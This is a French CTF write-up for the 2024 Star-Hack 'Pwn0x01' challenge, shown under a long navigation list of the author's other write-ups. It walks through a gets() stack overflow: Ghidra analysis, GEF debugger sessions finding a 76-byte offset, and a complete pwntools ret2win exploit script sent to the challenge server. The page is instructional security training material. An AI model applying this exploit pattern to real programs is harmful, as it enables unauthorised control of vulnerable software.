ThaySan
  • πŸ‘‹Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • πŸ”‘Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • πŸ”ŽForensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • πŸ’ΎProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • βš™οΈReverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • πŸ”‘Cryptographie
        • Clavier spΓ©cial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins TrafiquΓ©s
        • Redstone Gold Block
      • πŸ’ΎProgrammation
        • Captcha 1.0
        • Intro Γ  la prog
        • Captcha 2.0
      • βš™οΈReverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭StΓ©ganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drΓ΄le de QR code
        • RandonnΓ©e Guillerette Γ  Bordeaux
      • πŸ’»SystΓ¨me
        • Marche-pied
        • Escabot
        • rΓ©gulation des DonnΓ©es et des Normes de SΓ©curitΓ©
      • 🌐Web
        • cybernight.zip
        • Mon champion prΓ©fΓ©rΓ©
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquΓͺte
        • L'enquΓͺte 2/6
        • L'EnquΓͺte 1/6
        • Bienvenue, enquΓͺteur
    • 2024 | Star-Hack
      • πŸ”‘Cryptographie
        • CΓ©sar, mais pas CΓ©sar
        • Double ennui
        • Langage secret
        • Quadratique MystΓ©rieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • πŸ”ŽForensic
        • Cache-cache
        • Fichier ZIP protΓ©gΓ© par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi Γ§a ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • βš™οΈReverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • πŸ”‘Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • πŸ”‘Cryptographie
        • AES Intro
        • AlΓ©atoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • πŸ”ŽForensic
        • Mais qui est le photographe ?
        • Mais oΓΉ est passΓ© mon flag ?
        • MΓ©moire 1/4
        • MΓ©moire 2/4
        • MΓ©moire 3/4
        • MΓ©moire 4/4
        • My computer is talking
      • πŸ“šOSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • SacrΓ© dossier
        • Socint
      • πŸ’ΎProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • βš™οΈReverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭StΓ©ganographie
        • Cybernight Γͺtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • πŸ’»SystΓ¨me
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • πŸ”‘Cryptographie
        • conv
        • oracle-srl
        • ctr
      • πŸ”ŽForensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • πŸ“±Mobile
        • mobisec
      • πŸ“šOSINT
      • 😈Pwn
      • βš™οΈReverse
      • πŸ•΅οΈTraque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • πŸ”‘Cryptographie
        • BΓ©bΓ© nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'Γ©ponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissΓ© chef !
        • SEA - La face cachΓ©e de l'Iceberg
      • πŸ”ŽForensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sΓ©curiser que guΓ©rir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • πŸ”ŒHardware
        • Serial killer
        • Le soulevΓ© de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oΓΉ sont les triggers ?
      • πŸ€–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dΓ©robΓ©es
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • πŸ“šOSINT
        • LΓ©gende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • πŸˆβ€β¬›Quantique
        • Des trains superposΓ©s
        • De l'Γ©coute, pas trΓ¨s discrΓ¨te
        • De la multiplicitΓ© des problΓ¨mes
      • βš™οΈReverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭StΓ©ganographie
        • ⭐L'absence
        • ⭐Regarder en stΓ©rΓ©o
        • ⭐La Barre Fixe
        • ⭐Le grand Γ©cart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous Γͺtes en RETARD
        • ⭐Le match du siΓ¨cle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siΓ¨cle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • πŸ”‘Cryptographie
        • zzz
      • πŸ“šOSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prΓ©lude
        • La fin ?
        • La fuite Dumas
        • Un rΓ©seau suspect
      • πŸ’ΎProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • πŸ’»SystΓ¨me
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement Γ©tait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • πŸ”—Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • πŸ”‘Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • πŸ”ŽForensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • πŸ”ŒHardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • βš™οΈReverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • πŸ”‘Cryptographie
        • start-enc
        • traffic-e
      • πŸ”ŽForensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • πŸ“±Mobile
        • flagen
        • improper-configuration
      • πŸ“‘Network
        • wifi-basic
        • wifiland
      • πŸ“šOSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • βš™οΈReverse
        • fake-add
      • 🎭StΓ©ganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • πŸ“šOSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • βš™οΈReverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • πŸ”‘Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • πŸ”‘Cryptographie
        • CoupΓ©-dΓ©calΓ©
        • ExFILEtration
        • Il s'est baissΓ© ou pas
        • J'ai pas rotΓ©
        • Les allemands !
        • RSA Strong Prime generator
      • πŸ”ŽForensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • πŸ”ŒHardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • πŸ’ΎProgrammation
        • Repeat
        • Startup
        • Timing
      • βš™οΈReverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭StΓ©ganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
PropulsΓ© par GitBook
Sur cette page
  • Challenge
  • Solution

Cet article vous a-t-il Γ©tΓ© utile ?

  1. CTF & Writeups
  2. 2024 | Star-Hack
  3. Pwn

Pwn0x01

PrΓ©cΓ©dentPwnSuivantPwn0x02

Dernière mise à jour il y a 6 mois

Cet article vous a-t-il Γ©tΓ© utile ?

Flag: StarHack{YOU_WON!!}

Challenge

Description


return to win!!!

nc 35.180.44.229 1235

Ce challenge tourne sur un docker et n'est pas disponible

Solution

On commence par dΓ©compiler le binaire, ici, j'utilise Ghidra. On peut noter 4 choses importantes :

  • La fonction portalGun utilise gets, cette fonction est vulnΓ©rable aux Buffers Overflow.

  • La fonction callMe permet d'afficher le flag, il faut donc faire en sorte de l'appeler.

  • La fonction callMe est Γ  l'adresse 0x080485c6.

  • Le paramΓ¨tre de la fonction callMe doit Γͺtre Γ©gal Γ  0xdeadbeef

gef➀  r <<(cyclic 100)

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf60  β†’  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x61616172 ("raaa"?)
$ecx   : 0xf7e258ac  β†’  0x00000000
$edx   : 0x0       
$esp   : 0xffffcfb0  β†’  "uaaavaaawaaaxaaayaaa"
$ebp   : 0x61616173 ("saaa"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x61616174 ("taaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb0β”‚+0x0000: "uaaavaaawaaaxaaayaaa"       ← $esp
0xffffcfb4β”‚+0x0004: "vaaawaaaxaaayaaa"
0xffffcfb8β”‚+0x0008: "waaaxaaayaaa"
0xffffcfbcβ”‚+0x000c: "xaaayaaa"
0xffffcfc0β”‚+0x0010: "yaaa"
0xffffcfc4β”‚+0x0014: 0x00000000
0xffffcfc8β”‚+0x0018: 0xf7c3c819  β†’  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfccβ”‚+0x001c: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616174 in ?? (), reason: SIGSEGV

EIP contient taaa, on cherche donc l'offset de cette valeur :

gef➀  shell cyclic -l taaa
76

Il faut donc 76 caractères pour atteindre EIP. On va donc envoyer 76 * A puis l'adresse de callMe (à l'envers puisque little endian).

gef➀  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08")')$(cyclic 40))

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x804b1a0  β†’  0xfbad2488
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x2c00    
$edx   : 0x2c2c2c2c (",,,,"?)
$esp   : 0xffffcfb4  β†’  "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction OVERFLOW RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4β”‚+0x0000: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"       ← $esp
0xffffcfb8β”‚+0x0004: "caaadaaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfbcβ”‚+0x0008: "daaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfc0β”‚+0x000c: "eaaafaaagaaahaaaiaaajaaa"
0xffffcfc4β”‚+0x0010: "faaagaaahaaaiaaajaaa"
0xffffcfc8β”‚+0x0014: "gaaahaaaiaaajaaa"
0xffffcfccβ”‚+0x0018: "haaaiaaajaaa"
0xffffcfd0β”‚+0x001c: "iaaajaaa"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616161 in ?? (), reason: SIGSEGV

ESP + 0, qui correspond à notre premier paramètre de la fonction callMe, contient baaa. On calcule son offset :

gef➀  shell cyclic -l baaa
4

On doit mettre 4 caractères random de plus après notre adresse pour accéder au paramètre de la fonction et mettre 0xdeadbeef dedans. J'ai ajouté flag.txt avec un faux flag dedans pour tester notre payload. Ça nous donne :

gef➀  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08") + "B"*4 + "\xef\xbe\xad\xde"'))

hey Morty give an adress for my portal Gun
FakeFlag{exploitation_locale_faite}

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x23      
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x0       
$edx   : 0x0       
$esp   : 0xffffcfb4  β†’  0xdeadbeef
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  β†’  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  β†’  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4β”‚+0x0000: 0xdeadbeef   ← $esp
0xffffcfb8β”‚+0x0004: 0x00000000
0xffffcfbcβ”‚+0x0008: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
0xffffcfc0β”‚+0x000c: 0x00000000
0xffffcfc4β”‚+0x0010: 0x00000000
0xffffcfc8β”‚+0x0014: 0xf7c3c819  β†’  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfccβ”‚+0x0018: 0xf7c23c65  β†’  <__libc_start_call_main+117> add esp, 0x10
0xffffcfd0β”‚+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x42424242 in ?? (), reason: SIGSEGV
from pwn import *

context.log_level = 'error'

filler = b'A' * 76
address = p32(0x080485c6)
dummy = b'B' * 4
param_1 = p32(0xdeadbeef)
payload =  filler + address + dummy + param_1

client = remote('35.180.44.229', 1235)
client.recvuntil(b'Gun\n')

client.sendline(payload)
client.interactive()
$ python chall.py
StarHack{YOU_WON!!}

Maintenant, on va passer sur GDB (avec le plugin ) pour débugger tout ça. Le buffer qui prend notre input à une taille de 0x44 (68). Notre objectif est de le dépasser pour insérer l'adresse de callMe dans EIP et mettre 0xdeadbeef en paramètre. La commande cyclic permet de générer des patterns et ainsi repérer le nombre de caractères à entrer pour arriver à modifier un endroit spécifique.

Le programme crash, mais on a bien eu le flag. Plus qu'Γ  envoyer notre payload au serveur, j'utilise Python avec la librairie :

🚩
😈
GEF
pwntools
3KB
pwn0x01.zip
archive